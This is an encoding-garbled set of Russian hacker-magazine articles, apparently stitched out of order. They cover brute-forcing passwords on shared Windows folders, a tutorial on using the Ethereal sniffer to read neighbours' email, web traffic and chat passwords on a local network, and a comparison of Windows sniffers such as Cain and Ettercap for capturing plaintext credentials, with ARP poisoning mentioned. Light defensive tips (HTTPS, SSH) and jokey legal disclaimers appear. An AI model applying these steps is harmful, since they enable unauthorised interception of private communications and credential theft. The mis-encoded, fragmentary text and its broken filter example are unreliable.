ñëåäóåò óêàçàòü èìåííî èìÿ êîìïà,
à íå åãî àäðåñ. Èìÿ ìîæíî óçíàòü,
ââåäÿ â êîíñîëè êîìàíäó net view
[ip-àäðåñ]. Â ïîëå IP-àäðåñ óêàæè
àäðåñ êîìïà. Äàëåå æìè Start è
íàáëþäàé, êàê ïðîãà ïîäáèðàåò
ïàðîëü. Åñëè íè÷åãî íå ïîëó÷è-
ëîñü, ïðîâåðü, ïðàâèëüíî ëè òû
ââåë âñå äàííûå. Ïðîãà ðàáîòàåò
ìåòîäîì ïåðåáîðà, òàê ÷òî ìîæåò
ïîòðåáîâàòüñÿ íåêîòîðîå âðåìÿ,
ïîêà îíà ïðîâåðèò âñå âîçìîæíûå
êîìáèíàöèè. Íî ó ìåíÿ ïî-
òðåáîâàëîñü íå áîëüøå ìèíóòû(!)
íà ïîäáîð ïàðîëÿ èç 4 áóêâ, à
÷àñòåíüêî áîëüøå è íå áûâàåò.

ÂÄÎÃÎÍÊÓ
Âîò òåáå âñå íåõèòðûå ïðåìóäðîñòè
ïîèñêà è ïîäêëþ÷åíèÿ
ðàñøàðåííûõ äèñêîâ. Åùå ðàç õî÷ó
íàïîìíèòü, ÷òî ìû ðàññêàçûâàåì
òåáå âñå ýòî òîëüêî â
ïîçíàâàòåëüíûõ öåëÿõ, à òû
ðåøàåøü ñàì, êàê òåáå ïðèìåíÿòü
ýòó èíôîðìàöèþ. Çà åå
èñïîëüçîâàíèå íà ïðàêòèêå ìîãóò
áîëüíî íàäàâàòü ïî øàëîâëèâûì
ðó÷îíêàì, çàáðàòü íà Àëüôà
Öåíòàâðó è âûñîñàòü ìîçã.
Òåîðåòè÷åñêè ïðîâàéäåð, åñëè
çàñå÷åò ïðîöåññ ñêàíèðîâàíèÿ,
èìååò ïðàâî îòêëþ÷èòü òåáÿ îò
ñåòè èëè äàæå, åñëè òâîè äåéñòâèÿ
ïîêàæóòñÿ åìó ñëèøêîì öèíè÷íûìè
è íàãëûìè èëè íà òåáÿ áóäóò
æàëîâàòüñÿ ïîëüçîâàòåëè,
ñîîáùèòü êóäà ñëåäóåò. Òàê ÷òî,
ïðåæäå ÷åì ñåñòü çà êëàâèàòóðó è
çàïóñòèòü ñêàíåð øàð, ñîæãè ýòîò
æóðíàë, âûäåðíè øíóð è âûäàâè
ñòåêëî :).

E

Der Parol!

×òî-òî íàðûëè...
sequritylab.ru

- îòëè÷íûé
ñàéò ñ áîëü-

øèì êîëè÷åñò-
âîì èíôû,

ñîôòà è ýêñ-
ïëîèòîâ.

Â Windows XP
âåðîÿòíîñòü

íàéòè îòêðû-
òûå ðåñóðñû
çíà÷èòåëüíî
ïîâûøàåòñÿ,

òàê êàê òàì ïî
óìîë÷àíèþ

âñåãäà îòêðû-
òà ïàïêà �Sha-
redFolders�, â
êîòîðîé åñòü

ïàïêè �My
Mus÷ic�, �My

Pictures�.



Ðàáîòàÿ ñ Ëèíóõîì, òû âñå áîëüøå óáåæäàåøüñÿ, ÷òî ýòà îñü èäåàëüíî ïîäõîäèò äëÿ
ðàáîòû â ñåòè. Íî ñåòåâàÿ æèçíü òâîåé îñè, à òåì áîëåå ïðàâèëüíîé, íå áóäåò
ïîëíîöåííîé áåç èñïîëüçîâàíèÿ ðàçëè÷íûõ ñåòåâûõ óòèëèò.

òàêîâûì, êîíå÷íî æå,
îòíîñèòñÿ è òàêàÿ
ïîëåçíàÿ øòóêà, êàê

ñíèôôåð. Äàâàé ðàññìîòðèì
ðàáîòó êîíêðåòíîãî ñíèôôåðà ïîä
Ëèíóõîì. ß õî÷ó îñòàíîâèòüñÿ íà
Ethereal è ïîêàçàòü íåêîòîðûå èç
åãî âîçìîæíîñòåé. Ýòî îòíþäü íå
çíà÷èò, ÷òî äðóãèå ñíèôôåðû íå
çàñëóæèâàþò äåòàëüíîãî ðàñ-
ñìîòðåíèÿ. Ïðîñòî, íà ìîé âçãëÿä,
Ethereal ñî÷åòàåò â ñåáå óäîáñòâî
èñïîëüçîâàíèÿ ãðàôè÷åñêîãî
èíòåðôåéñà gtk è âñå êà÷åñòâà
õîðîøåãî ñíèôôåðà. Òû ìîæåøü
âîçðàçèòü, ÷òî ãðàôè÷åñêèé
èíòåðôåéñ â ïðàâèëüíîé îñè, äà
åùå è äëÿ ñíèôôåðà - ýòî àöòîé è
÷òî âñå êóëõàöêåðû ñèäÿò òîëüêî â
êîíñîëè. Íå áóäó ñïîðèòü, ÷òî
êîíñîëü ýòî êðóòî, íî ãðàôè÷åñêèé
èíòåðôåéñ äàåò ñâîè óäîáíûå
âîçìîæíîñòè â ðàáîòå:
îòíîñèòåëüíàÿ ïðîñòîòà îñâîåíèÿ
ïðîãðàììû, ëåãêîñòü åå
èñïîëüçîâàíèÿ äëÿ íà÷èíàþùèõ
ïîëüçîâàòåëåé, áîëåå íàãëÿäíîå è
óïîðÿäî÷åííîå ïðåäñòàâëåíèå
ïîëó÷åííîé èíôîðìàöèè. ß òåáÿ
åùå íå óáåäèë :)?

ÏÎÑÒÀÂÈÌ È ÍÀÒßÍÅÌ
Íà÷íåì ñ óñòàíîâêè. Ñêà÷èâàåì
Ethereal ïîñëåäíåé âåðñèè (íà
ìîìåíò íàïèñàíèÿ ñòàòüè òàêîâîé
ÿâëÿëàñü âåðñèÿ 0.9.12) ñ ñàéòà
http://www.ethereal.com/down-
loads.html. Àðõèâ tar.bz2 âåñèò
îêîëî 4 ìåãàáàéò (ìíîãîâàòî â
ñðàâíåíèè ñ òåêñòîâûìè ñíèô-
ôåðàìè, íî ïðîãðàììà ñòîèò òîãî).
Ðàñïàêóåì àðõèâ:

bzip2 -d ethereal-0.9.12.tar.bz2
tar -xvf ethereal-0.9.12.tar

Â äèðåêòîðèè, êóäà òû ïîìåñòèë ñêà-
÷àííûé àðõèâ, ïîÿâèëàñü äèðà ñ èìå-
íåì ethereal-0.9.12. Ïåðåõîäèì â íåå:

cd ethereal-0.9.12.

Íàáðàâ ls, óáåæäàåìñÿ, ÷òî â íàøåì
ðàñïîðÿæåíèè åñòü ñêðèïò

íà÷àëüíîé êîíôèãóðàöèè configure,
êó÷à ôàéëîâ *.h è *.c è, êîíå÷íî
æå, README.
Â ïðîñòåéøåì ñëó÷àå óñòàíîâêà
âûãëÿäèò òàê:

/configure
make
make install

Äëÿ ïîëó÷åíèÿ èíôîðìàöèè îá
èìåþùèõñÿ îïöèÿõ ñêðèïòà config-
ure íàáåðè:

./configure �help

Ñòîèò òàêæå ïî÷èòàòü README - òàì
íàâåðíÿêà áóäóò îòâåòû íà ìíîãèå
èç ïîÿâèâøèõñÿ ó òåáÿ âîïðîñîâ
îá óñòàíîâêå ïðîãðàììû. Ëè÷íî ÿ
âûáðàë îïöèþ ��enable-gtk2�
(ÈÌÕÎ, ïîêðàñèâåå áóäåò). Íà ìîåé
òà÷êå (PIII - 800/256 ram)
êîìïèëÿöèÿ äëèëàñü îêîëî 10
ìèíóò, ïîñëå ÷åãî ÿ ïîëó÷èë
ãîòîâûé ê ðàáîòå ñíèôôåð.
Ïðîâåðü íà âñÿêèé ñëó÷àé, ãëàäêî
ëè âñå ïðîøëî: íàáåðè â êîìàíäíîé
ñòðîêå �whereis ethereal�. È åñëè òû
óâèäåë â îòâåò ÷òî-òî òèïà
�/usr/local/bin/ethereal�, òî
ïðîãðàììà óñïåøíî óñòàíîâëåíà.
Çàïóñêàé Ethereal îò root, èíà÷å
íè÷åãî íå âûéäåò: èíòåðôåéñ
ïðîãðàììû òû óâèäèøü, íî

ñòàðòàíóòü ñíèôôåð íå óäàñòñÿ -
èçìåíåíèå ïàðàìåòðîâ ñåòåâîãî
èíòåðôåéñà òðåáóåò ïðàâ
ñóïåðïîëüçîâàòåëÿ. Ïðîñòåéøèé
çàïóñê îñóùåñòâëÿåòñÿ êîìàíäîé
�ethereal� (åñëè äèðåêòîðèè, êóäà
ïðîèíñòàëëèðîâàëñÿ Ethereal íåò â
òâîåì PATH, òî ïèøè ïîëíûé ïóòü ê
ïðîãðàììå äëÿ åå âûçîâà).

ÂÍÓÒÐÈ
Ïîñëå çàïóñêà ìû âèäèì ïðîãðàììó
ñ äîâîëüíî ïðèÿòíûì èíòåðôåéñîì
(íå çðÿ ÿ óêàçàë îïöèþ ��enable-
gtk2�). Ðàáî÷åå îêíî ðàçäåëåíî íà
òðè ÷àñòè ïî ãîðèçîíòàëè: ñàìàÿ
âåðõíÿÿ - îòîáðàæàåò êðàòêóþ èí-
ôîðìàöèþ î ïàêåòå (ïîðÿäêîâûé
íîìåð, âðåìÿ, àäðåñà îòïðàâèòåëÿ è
ïîëó÷àòåëÿ, òèï ïàêåòà). Âòîðîå
ïîäîêíî îòîáðàæàåò èíôîðìàöèþ
èç çàãîëîâêà ïàêåòà. Òðåòüå - ñàìè
äàííûå ïàêåòà êàê â êîäå ASCII, òàê
è â âèäå øåñòíàäöàòåðè÷íîãî
äàìïà. Ïîä îêíàìè íàõîäèòñÿ
ñòðîêà, ïîçâîëÿþùàÿ âûáðàòü îäèí
èç èìåþùèõñÿ ôèëüòðîâ äëÿ
ïàêåòîâ, êíîïêà î÷èñòêè îêíà è
ñòðîêà ñòàòóñà.

Ãëàâíîå ìåíþ ïðîãðàììû
ïðåäîñòàâëÿåò ñëåäóþùèå ïóíêòû:
File - êîìàíäû îáùåãî íàçíà÷åíèÿ,
Edit - ïàðàìåòðû íàñòðîéêè
ïðîãðàììû, Capture - çàïóñê è
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Ê

ÞÇÀÅÌ ÏÐÀÂÈËÜÍÛÉ ÑÍÈÔÔÅÐ 
ÄËß ÏÐÀÂÈËÜÍÎÉ ÎÑÈ

Íå õî÷åøü
îêàçàòüñÿ íà
ìåñòå òâîåãî
ñîñåäà? Âäðóã
êòî-òî óæå èñ-
ïîëüçóåò
ñíèôôåð â
òâîåé ñåòè?
Ïîðà ïîäóìàòü
î ìåòîäàõ çà-
ùèòû! Ïîæà-
ëóé, íàèáîëåå
äåéñòâåííûì â
äàííîì ñëó÷àå
ÿâëÿåòñÿ
øèôðîâàíèå
ïåðåäàâàåìûõ
äàííûõ.

Êðàñèâûé gtk-2 èíòåðôåéñ ðàäóåò ãëàç :)

ÕÎ×ÅØÜ ÇÍÀÒÜ, ×ÒÎ
ÏÐÎÈÑÕÎÄÈÒ Â ËÎÊÀËÊÅ?
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îñòàíîâêà ñíèôôåðà, Display -
îïöèè îòîáðàæåíèÿ èíôû, Tools -
ðàçëè÷íûå äîïîëíèòåëüíûå òóëçû.
Â ìåíþ Edit òû íàéäåøü ïóíêòû
Preferenses - çäåñü ìîæíî çàäàòü
îáùèå íàñòðîéêè ïðîãðàììû:
âíåøíèé âèä, ïàðàìåòðû ñíèôôà,
ïàðàìåòðû ïðîòîêîëîâ. Ïóíêòû
Capture FFilters è Display FFilters
ïîçâîëÿþò ðàáîòàòü ñ ôèëüòðàìè
(äîáàâëÿòü, óäàëÿòü è èçìåíÿòü).
Äóìàþ, ñ Preferences òû
ðàçáåðåøüñÿ ñàì, à âîò ðàáîòó ñ
ôèëüòðàìè ðàññìîòðèì áîëåå
ïîäðîáíî. Ôèëüòðû ïîçâîëÿþò òåáå
ïîëó÷àòü òîëüêî òå äàííûå, êîòîðûå
òåáå íóæíû. Ïðè ðàáîòå ñ ñîòíÿìè
ïàêåòîâ ýòî âàæíî. Äëÿ íà÷àëà òû
äîëæåí ÷åòêî çíàòü, êàêàÿ
èíôîðìàöèÿ òåáå íóæíà, è, â
ñîîòâåòñòâèè ñ ýòèì, ñîçäàâàòü
ñîáñòâåííûå ïðàâèëà äëÿ ôèëüòðîâ.

ÓÑÒÀÍÎÂÈÌ ÔÈËÜÒÐ
Íàøà çàäà÷à ïî÷èòàòü ïî÷òó,
ïîñìîòðåòü, êàêèå ñòðàíèöû
çàãðóæàë ñîñåä, óçíàòü åãî ïàðîëü
íà e-mail, ïåðåõâàòèòü IRC-÷àò è
ïîëó÷èòü ïàññû îò àñüêè. Òû âåäü
óæå çíàåøü ïîðòû, íà êîòîðûõ
ðàáîòàþò ýòè ñåðâèñû? Åñëè íåò, òî
áûñòðåå áåðè óìíóþ êíèæêó è
ïðîñâåùàéñÿ. Íåìíîãî ïîäóìàâ :),
ïðèõîäèì ê òîìó, ÷òî íàì íóæíî
ïîëó÷àòü âñå TCP ïàêåòû äëÿ 80,
110, 5190, 6667 ïîðòîâ è
ïðèõîäÿùèå ñ íèõ.
Ïðèñòóïàåì ê ñîçäàíèþ ôèëüòðà.
Ïîëçè â �Edit� > �Display Filters� è

æìè íà êíîïêó �Add Expressions�
(äîáàâèòü âûðàæåíèå). Â ïîÿâèâ-
øåìñÿ îêíå ñîçäàíèÿ ôèëüòðà â
ïîëå �Field Name� óâèäèøü îãðîì-
íûé ñïèñîê ïðîòîêîëîâ, à â ïîäìå-
íþ ê âûáðàííîìó ïðîòîêîëó
äîïîëíèòåëüíûå îïöèè äëÿ ôèëü-
òðà. Âûáèðàåì ïðîòîêîë TCP â ïîëå
�Field name� (âñå èíòåðåñóþùèå
íàñ ïàêåòû îòíîñÿòñÿ èìåííî ê TCP
ïðîòîêîëó) è ïóíêò â ïîäìåíþ
�Source or Destination port�, ÷òî
çíà÷èò ïðèíèìàòü ïàêåòû äëÿ ýòèõ
ïîðòîâ è èäóùèå ñ íèõ. Â ïîëå
�Realtion� âûáèðàåì îòíîøåíèÿ
ïîëÿ ïðàâèëà ê çíà÷åíèþ, â äàííîì
ñëó÷àå íàñ èíòåðåñóåò
ýêâèâàëåíòíîñòü (==), è â ïîëå
�Value� ïèøåì ïîðò 80. Ïîñëå ÷åãî
æìåì OK, è â ïîëå �Filter String�
ïîÿâëÿåòñÿ âûðàæåíèå �tcp.port ==
80�, ýòî ïðîñòåéøåå âûðàæåíèå
äëÿ ôèëüòðà. Äëÿ îñòàëüíûõ
ïîðòîâ ìîæåøü ïðîäåëàòü òàêèå
æå äåéñòâèÿ ëèáî ïðîñòî ðóêàìè
íàïèñàòü àíàëîãè÷íûå âûðàæåíèÿ,
îáúåäèíÿÿ èõ ëîãè÷åñêèì
îïåðàòîðîì and (&&). Â ðåçóëüòàòå
ïîëó÷àåì ïðàâèëî:

tcp.port == 80 && tcp.port == 110 && tcp.port
== 5190 && tcp.port == 6667.

Íàçûâàåì åãî, íàïðèìåð,
lansnifrules è æìåì �Ñîçäàòü�.
Ïðàâèëî ãîòîâî.

ÌÎÅÌ ÇÎËÎÒÈØÊÎ
Âîçâðàùàåìñÿ ê îñíîâíîìó ðàáî-
÷åìó îêíó ïðîãðàììû. Âûáèðàåì
ñîçäàííûé ôèëüòð, ïóñêàåì ñíèô-
ôåð ÷åðåç �Capture� > �Start� è
èäåì ïèòü ïèâî, îñòàâèâ ñíèôôåð
äåëàòü ñâîå çëîáíîå äåëî :).
Ïîñëå ñòàðòà ïîÿâëÿåòñÿ
èíôîðìàöèîííîå îêîøêî, êîòîðîå
îòîáðàæàåò ïðîöåíòíîå
ñîîòíîøåíèå ïàêåòîâ îò ðàçëè÷íûõ
ïðîòîêîëîâ, îáðàáîòàííûõ
ñíèôôåðîì.
×åðåç ïàðó ÷àñîâ ñíèôôåð ìîæíî
âûêëþ÷èòü è çàíÿòüñÿ èçó÷åíèåì
ïîëó÷åííûõ äàííûõ. Êàê ÿ óæå
ïèñàë, â âåðõíåì îêíå âèäèì
êðàòêóþ èíôó î ïàêåòå, â ñðåäíåì -
ïîäðîáíûé çàãîëîâîê ïàêåòà, à
âíèçó - åãî äàííûå.
Êîíå÷íî, ìîæíî âðó÷íóþ èçó÷àòü
âñå ïàêåòû â ïîèñêàõ íóæíîé

èíôîðìàöèè, íî ìû ïîñòóïèì
óìíåå, òåì áîëåå ÷òî äëÿ ýòîãî â
Ethereal ïðåäóñìîòðåíî î÷åíü
óäîáíîå ñðåäñòâî: âûáåðè â ñïèñêå
ïàêåò îïðåäåëåííîãî òèïà,
íàïðèìåð, POP, è â ìûøèíîì ìåíþ
- êîìàíäó �Follow TCP STREAM�. Â
ðåçóëüòàòå â íîâîì îòêðûâøåìñÿ
îêíå òû ïîëó÷èøü àáñîëþòíî
öåëûå ïèñüìà ñî âñåìè
çàãîëîâêàìè è ñîäåðæàíèåì,
êîòîðûå ìîæíî ñ ëåãêîñòüþ ÷èòàòü,
à òàêæå õîä ñåññèè îáùåíèÿ ñ
ñåðâåðîì â âèäå telnet êîìàíä,
ñðåäè êîòîðûõ òû, êîíå÷íî æå,
óâèäèøü è ïàðîëè.
Òàê æå äåëà îáñòîÿò ñ html ñòðàíè-
öàìè è IRC ìåññàãàìè. Ñ àñüêîé ïî-
ñëîæíåå: äàæå îáúåäèíÿÿ âñå çà-
õâà÷åííûå ïàêåòû, ÷èòàòü ÷òî-ëèáî
âðàçóìèòåëüíîå íå óäàåòñÿ, ëèøü
îòäåëüíûå îáðûâêè - ñêàçûâàþòñÿ
îñîáåííîñòè ïðîòîêîëà.
Ethereal êîððåêòíî îòîáðàæàåò
òîëüêî koi8-r, òàê ÷òî, åñëè õî÷åøü
÷èòàòü ÷òî-òî â cp1251, ïðèäåòñÿ ïî-
äóìàòü î ïåðåêîäèðîâêå. Õîòÿ ýòî
íå ñîñòàâèò äëÿ òåáÿ òðóäà - â ïðî-
ñòåéøåì ñëó÷àå ìîæíî âîñïîëü-
çîâàòüñÿ òåêñòîâûì ðåäàêòîðîì ñ
ïîääåðæêîé íåñêîëüêèõ êîäèðîâîê
èëè áðàóçåðîì.
Ê ñîæàëåíèþ, â Ethereal îòñóòñòâó-
åò âîçìîæíîñòü àâòîìàòèçèðîâàí-
íîãî âûäèðàíèÿ ïàðîëåé è ëîãèíîâ

èç ïàêåòà, òàê ÷òî ïðèäåòñÿ ïîêî-
âûðÿòüñÿ ñàìîìó. Îïöèÿ âûäèðà-
íèÿ ïàðîëåé îòëè÷íî ðåàëèçîâàíà
â Ettercap, ÷òî â î÷åðåäíîé ðàç ãî-
âîðèò, ÷òî â îäíó ïðîãðàììó íåâîç-
ìîæíî âïèõíóòü âñå âîçìîæíîñòè,
÷òî-òî áóäåò õóæå, ÷òî-òî ëó÷øå,
÷åì â äðóãèõ. Ïîýòîìó èñïîëüçóé
ïðîãðàììû êîìïëåêñíî.
Íó âîò, òû óæå èìååøü âñå ïàðîëè
îò ïî÷òû, ñòÿíóë âñå øåñòèçíà÷êè â
òâîåé ñåòêå, â êóðñå ëè÷íîé æèçíè
ñîñåäåé :). Òû, êîíå÷íî, êðóò, íî íå
çàáûâàé, çàêîíû åùå íèêòî íå îòìå-
íÿë, â òîì ÷èñëå è ñòàòüþ î íåçàêîí-
íîì äîñòóïå ê ÷óæîé èíôîðìàöèè.
Åñòåñòâåííî, âîçìîæíîñòè Ethereal
íå îãðàíè÷èâàþòñÿ
ðàññìîòðåííûìè ìíîþ. Ñ ïîìîùüþ
ýòîãî çàìå÷àòåëüíîãî ñíèôôåðà
ìîæíî óçíàòü åùå ìíîãî
èíòåðåñíîãî î æèçíè òâîåé ñåòè.
Âñå â òâîèõ ðóêàõ, äåðçàé!

E

Ñïèñîê ïîääåðæèâàåìûõ ïðîòîêîëîâ

âïå÷àòëÿåò

Åñëè ïèñüìà ïåðåäàâàëèñü â êîäèðîâêå

koi8-r, òî èõ ÷òåíèå íå âûçîâåò íèêàêèõ

ïðîáëåì

Â ethereal âñòðîåíî î÷åíü óäîáíîå ñðåäñòâî äëÿ ñîçäàíèÿ âûðàæåíèé ôèëüòðîâ

Ïî÷èòàé Linux
Administration�

s Security Guide
(http://www.lrn.

ru/index.php?
module=library&

action=show&
docid=193&part

=1809) - â
ýòîì ðóêîâîä-
ñòâå òû íàé-

äåøü ìíîæåñò-
âî ïîëåçíîé

èíôîðìàöèè ïî
çàùèòå è

àíàëèçó ñåòåé.

Åñòü ìíåíèå,
÷òî ñíèôôåð

íåëüçÿ îáíàðó-
æèòü. Â îïðå-
äåëåííîé ñòå-
ïåíè îíî îøè-

áî÷íî. Â íå-
êîòîðûõ ðåæè-

ìàõ ñíèôôåð
ïðîÿâëÿåò ñå-
òåâóþ àêòèâ-

íîñòü, ïîýòîìó
åñòü øàíñ åãî
îáíàðóæåíèÿ.

Âñå çàâèñèò îò
óðîâíÿ àäìè-

íîâ òâîåãî
ïðîâàéäåðà.



òàê, ñíèôôåðû äëÿ
áîåâîãî çàäàíèÿ ìû
óæå âûáðàëè. Îñòà-

ëîñü òîëüêî ïðîñëóøàòü áðèôèíã
ïåðåä ìèññèåé è â áîé!

ÁÐÈÔÈÍÃ
Áîéöû! Íàì âðó÷åíî ñîâðåìåííîå è
î÷åíü ìîùíîå îðóæèå ïîä íàçâàíè-
åì Ñíèôôåð. Îíî ïîçâîëÿåò ïåðåõ-
âàòûâàòü âñþ èíôîðìàöèþ â ñåã-
ìåíòå ñåòè, ê êîòîðîìó âû ïîäêëþ-
÷èòåñü. Ïðèíöèï åãî äåéñòâèÿ òà-
êîâ: ïåðåâåäÿ êîììóíèêàòîðû â
áåñïîðÿäî÷íûé (promiscuous) ðå-
æèì (÷òî ïîçâîëÿåò ïðèíèìàòü ñî-
îáùåíèÿ äëÿ âñåõ óçëîâ ñåãìåíòà),
îí ôèëüòðóåò ïîëó÷åííóþ èíôîð-
ìàöèþ, àíàëèçèðóåò è âûäàåò â
çíà÷èìîì âèäå. Íàèáîëåå ïðîäâè-
íóòûå ìîäåëè ìîãóò èñïîëüçîâàòü-
ñÿ â ñðåäå, îõðàíÿåìîé âûêëþ÷àòå-
ëåì (switch). Âûêëþ÷àòåëü ïåðåäà-
åò ñåêðåòíûå ïàêåòû òîëüêî íà òîò
óçåë, êîòîðîìó îí íåïîñðåäñòâåííî
ïðåäíàçíà÷åí, îòñåêàÿ, òàêèì îáðà-
çîì, ñåãìåíòû ñåòè. Íî, èñïîëüçî-
âàâ ñïåöèàëüíûå çàðÿäû äëÿ çàðà-
æåíèÿ òàáëèö àäðåñîâ âûêëþ÷àòå-
ëÿ (ARP poison routing), ìû ìîæåì
èçìåíèòü ïóòè ñëåäîâàíèÿ èíôîð-
ìàöèè, ïðîïóñêàÿ ïàêåòû îïðåäå-
ëåííîãî óçëà ÷åðåç ñåáÿ. Áîëåå òî-
ãî, íåêîòîðûå àðìåéñêèå çàâîäû
çàÿâèëè, ÷òî èõ ñíèôôåðû îáëàäà-
þò âîçìîæíîñòüþ ïåðåõâàòûâàòü è
ðàñøèôðîâûâàòü ïàêåòû ñ ïîìåò-
êîé �Ñîâåðøåííî ñåêðåòíî�. Íàì
ïðåäñòîèò ïðîâåðèòü ýòè çàÿâëå-
íèÿ, ãðîçÿùèå õàîñîì è àíàðõèåé.
Êðîìå òîãî, îñíîâíîé áîåâîé çàäà-
÷åé ÿâëÿåòñÿ ïåðåõâàò ïàêåòîâ, ïå-
ðåäàííûõ ïî èçâåñòíûì ïðîòîêî-
ëàì: å-ìûë, àé-ñè-êüþ, àé-ýð-ñè
(÷åðò èõ ïîáðàë, íå ìîãóò ïî-÷åëî-
âå÷åñêè íàçâàòü :)) è àø-òè-òè-ïè.
Ïî ðåçóëüòàòàì ó÷åíèé, à òàêæå
ëè÷íîãî îïðîñà áîéöîâ áóäóò îïðå-
äåëåíû çàâîäû, ñ êîòîðûìè áóäóò
ïîäïèñàíû äîãîâîðû (íó ýòî ìû
åùå ïîñìîòðèì :)) íà ïîñòàâêó âî-
îðóæåíèÿ. Âîëüíî!

Å-ÌÛË
Íó ÷òî, ïðîñëóøàë ðå÷ü ïðàïîðùè-
êà :). Òîãäà ïðèñòóïàåì ê äåëó. Íà÷-
íåì ñ ñàìîãî ëåãêîãî è ÷àñòî âñòðå-
÷àþùåãîñÿ - ïåðåõâàòà ïàðîëåé îò

ïî÷òû. ß ëè÷íî ÷èòàòü ÷óæóþ ïî÷òó
íå ëþáëþ è ïåðåõâàòûâàë ïî÷òó
òîëüêî îäíàæäû. Êàê ÷àñòî áûâàåò
â òàêèõ ñëó÷àÿõ - èç ðåâíîñòè :).
×òî ìíå áûëî íóæíî óçíàòü, íå óç-
íàë, çàòî ïðî÷èòàë ìíîãî òóïûõ
æåíñêèõ ñïëåòåí :). Ëàäíî, íàñòðàè-
âàé ôèëüòðû íà ïî÷òó (ýòî, ñêîðåå
âñåãî, ïîðòû 25-é, 110-é, 119-é è 143-
é, íî îñíîâíîé ïîðò - 110-é, ýòî
POP3). Íó ÷òî æå, âñå ñíèôôåðû
ñïðàâèëèñü ñ ýòîé çàäà÷åé. Óäîá-
íåå âñåãî áûëî, êîíå÷íî æå, â Cain
(òàì âñå ïðîñòî, íå íóæíî äàæå ñî-
äåðæèìîå ïàêåòîâ ñìîòðåòü) è
Ettercap (åñëè â íàñòðîéêàõ ðàçîá-
ðàòüñÿ). CommView æå íà÷èíàåò ðà-
çî÷àðîâûâàòü - ñëèøêîì óæ íåó-
äîáíî ïåðåõîäèòü îò îäíîãî ïàêåòà
ê äðóãîìó. Ïðèáëèçèòåëüíî òàê æå
è â Ethereal. Ïåðâûå íåñêîëüêî ïàñ-
ñîâ óæå ó íàñ â ðóêàõ :).

ÒÅÒß ÀÑß
Ñ ICQ âñå íåìíîãî õóæå. Âî-ïåðâûõ,
ñòðóêòóðà çàïðîñà íåñêîëüêî ñëîæ-
íåå, ÷åì ó ïî÷òû. Âî-âòîðûõ, îíà îò-
ëè÷àåòñÿ â ðàçíûõ âåðñèÿõ àñüêè-
íîãî ïðîòîêîëà (à âäðóã ó òåáÿ êòî-
íèáóäü èñïîëüçóåò ñòàðóþ àñþ, òà-
êîå ÷àñòî âñòðå÷àåòñÿ, åñëè àñüêà -
ëîêàëüíàÿ). Íó à â-òðåòüèõ... Ïðè
êîííåêòå àñüêà ïåðåäàåò UIN, ñâîþ
âåðñèþ è, òåîðåòè÷åñêè, ïàðîëü.
Ìîæåøü ïîñìîòðåòü íà ñêðèíå ïå-
ðåõâà÷åííûé ïàêåò: íè ôèãà òàì íå
ðàçîáðàòü ïàðîëÿ :(. À âñå ïîòîìó,
÷òî îí øèôðóåòñÿ. Òàêàÿ ñèòóàöèÿ
ó íàñ âåçäå: è â Iris, è â Ethereal, è â

Ettercap, è â CommView. À âîò Cain
âñå äåëàåò òèõî è ñïîêîéíî è âûäà-
åò ïàðîëü :). Ïðàâäà, ÿ çàìåòèë îä-
íó ñòðàííîñòü: åñëè çàõîäèë ÷åðåç
àñüêó, ïàðîëü îí ïåðåõâàòûâàë. À
åñëè ÷åðåç ìîé ëþáèìûé Trillian, òî
íåò (êñòàòè, ñóäÿ ïî ïàêåòó, Trillian
âûäàåò ñåáÿ çà 2001 àñüêó). Âåðîÿò-
íî, ýòî ñâÿçàíî ñ ñàìèì Cain. Áåòà
âñå-òàêè... Íó à òåì, êòî õî÷åò çàùè-
òèòü ñâîþ ïåðåïèñêó, ìîãó ïîñîâå-
òîâàòü çàéòè íà www.encrsoft.com/
products/tsm.html è ñêà÷àòü Top
Secret Messenger. Ýòî ïëàãèí äëÿ
âñåõ âåðñèé ICQ, äîáàâëÿþùèé âîç-
ìîæíîñòü àññèìåòðè÷íîãî øèôðî-
âàíèÿ ñîîáùåíèé. Òàì åñòü è ïëà-
ãèí äëÿ Ìèðàíäû ñ òåìè æå ôóíê-
öèÿìè.

HTTP
Ðåáÿòà, ïîëüçóéòåñü HTTPS. Â
ìàéñêîì íîìåðå áûëà äîâîëüíî
ïîäðîáíàÿ ñòàòüÿ ïî ýòîìó ïîâîäó.
Òî, êàê ñåáÿ ïîêàçàëè ñíèôôåðû â
äàííîì òåñòå, ëèøíèé ðàç äîêàçû-
âàåò, ÷òî ïåðåõâàòèòü èíôó ÷åðåç
HTTP î÷åíü ëåãêî. Ïàðîëü ïåðåäà-
åòñÿ â îòêðûòîì âèäå. Íàéòè åãî
íåñëîæíî, âíå çàâèñèìîñòè îò òîãî,
ïåðåäàâàëèñü ëè äàííûå ñ ïî-
ìîùüþ get (ò.å. ÷åðåç url) èëè ñ ïî-
ìîùüþ post (ò.å. ÷åðåç ôîðìó). Âñå
ñíèôôåðû ïðåêðàñíî ñïðàâèëèñü ñ
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Íà void.ru
åñòü íåñêîëü-
êî èíòåðåñ-
íûõ ìàòåðèà-
ëîâ ïðî
ñíèôôåðû.
Ëèíêè íàé-
äåøü ñàì :).

×àñòü ëîãà Ettercap. Ìû çàõâàòèëè ìûëî!

Ìäÿ, íó è ãäå òóò ïàðîëü?

À, âîò îí!

ÍÞÕÀ×È, Ê ÁÎÞ!

�The lord of the (token) Ring (the fellowship of the packet)�: �One ring to link them all,
One ring to ping them, One ring to bring them all and in the darkness sniff them� :).
Copyright by ñîñòàâèòåëè ìàíóàëà Ettercap :).

Kirion (Kirion@winfo.org)

ÒÅÑÒÈÐÓÅÌ ÑÍÈÔÔÅÐÛ ÏÎÄ WINDOWS
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ýòîé çàäà÷åé. Îñîáåííî Cain è
Ettercap, êîòîðûå óìåþò âûäåëÿòü
ïàðîëè èç ñîäåðæèìîãî ïàêåòà - íå
íàäî ïàðèòüñÿ, ïðîñìàòðèâàòü åùå
÷åãî-òî :). Òî æå ñàìîå è ñ FTP, è
Telnet. Ïàðîëè ïåðåäàþòñÿ â îòêðû-
òîì è óäîáî÷èòàåìîì âèäå. Ðåøå-
íèå ïðîñòîå - èñïîëüçîâàòü ñåêü-
þðíûå âåðñèè ýòèõ ïðîòîêîëîâ:
SSH âìåñòî Telnet, SFTP âìåñòî
FTP. Ïîëüçîâàòåëè ïðàâèëüíûõ
îñåé - âûáèðàéòå OpenSSH
(www.openssh.org), ãäå åñòü ìîäóëè
äëÿ ýòèõ ïðîòîêîëîâ. Âèíäîâûì æå
þçåðàì ìîæíî ïîïðîáîâàòü ýòè
ïîðòû: PuTTY (www.chiark.gree-
nend.org.uk/~sgtatham/putty/),
TTSSH (www.zip.com.au/~roca/
